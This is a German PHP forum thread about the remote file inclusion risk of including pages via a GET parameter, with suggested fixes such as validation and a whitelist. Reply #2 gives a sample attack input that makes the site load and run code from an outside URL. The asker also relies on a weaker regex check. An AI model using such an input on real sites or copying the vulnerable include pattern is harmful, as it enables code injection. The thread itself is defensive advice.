Ankündigung

Einklappen
Keine Ankündigung bisher.

Sicherheitslücke

Einklappen

Neue Werbung 2019

Einklappen
X
  • Filter
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge

  • Sicherheitslücke

    Hallo

    Stellt es eine Sicherheitslücker dar, PHP-Dateien mit $_GET in Design zu includen? Also z.B. index.php?page=login.php


    Ich habe einmal ein Artikel darüber gelesen, find diesen aber nicht mehr.

    Ich bin auf der Suche nach Alternativen.


    Danke

  • #2
    ja ist es.

    da z.B. auch "index.php?page='http://meine.domain.de/boesercode.php'" funktioniert.
    dieser code würde von deinem index.php eingebunden und ausgeführt werden.
    somit kann man sehr einfach code eingeschleust werden.

    Kommentar


    • #3
      Welche Alternativen gibt es ohne eine Liste der zugelassenen Seiten erstellen zu müssen?

      Kommentar


      • #4
        - Formate prüfen
        - Protokolle ausschließen
        - auf existenz prüfen
        - etc. etc. ...

        Kommentar


        • #5
          Zitat von Guradia
          - Formate prüfen
          - Protokolle ausschließen
          - auf existenz prüfen
          - etc. etc. ...
          Ich werde die angegebene Seite auf existenz prüfen.
          Hätte ich auch selber drauf kommen können...

          Kommentar


          • #6
            hmm wie wäre es mit einer indirekten lösung?
            Datei "config.php":
            PHP-Code:
            <?
            $pagelist[1] = "main.php";
            $pagelist[2] = "login.php";
            $pagelist[3] = "content.php";
            $pagelist[4] = "feedback.php";
            ?>
            Links sehen dann so aus:
            "index.php?page=1"

            Den Parameter $page kannst Du sehr einfach überprüfen (kann nur Zahl sein) und dann ein
            PHP-Code:
            include($pagelist[$_GET[page]]); 
            machen. Vorher natürlich ein
            PHP-Code:
            include("config.php"); 
            mario.

            Kommentar


            • #7
              Zitat von mkl0815
              hmm wie wäre es mit einer indirekten lösung?
              Datei "config.php":
              PHP-Code:
              <?
              $pagelist[1] = "main.php";
              $pagelist[2] = "login.php";
              $pagelist[3] = "content.php";
              $pagelist[4] = "feedback.php";
              ?>
              Links sehen dann so aus:
              "index.php?page=1"

              Den Parameter $page kannst Du sehr einfach überprüfen (kann nur Zahl sein) und dann ein
              PHP-Code:
              include($pagelist[$_GET[page]]); 
              machen. Vorher natürlich ein
              PHP-Code:
              include("config.php"); 
              mario.
              Leider ist mir diese Lösung zu aufwändig...
              Ich überprüfe jetzt die GET-Variable mit einem Reuglären-Ausdruck. Falls die Variable passt, überprüfe ich noch die existenz dieser Datei. Ich denke diese Schutz sollte reichen...

              Vielen Dank für eure Hilfe

              Kommentar

              Lädt...
              X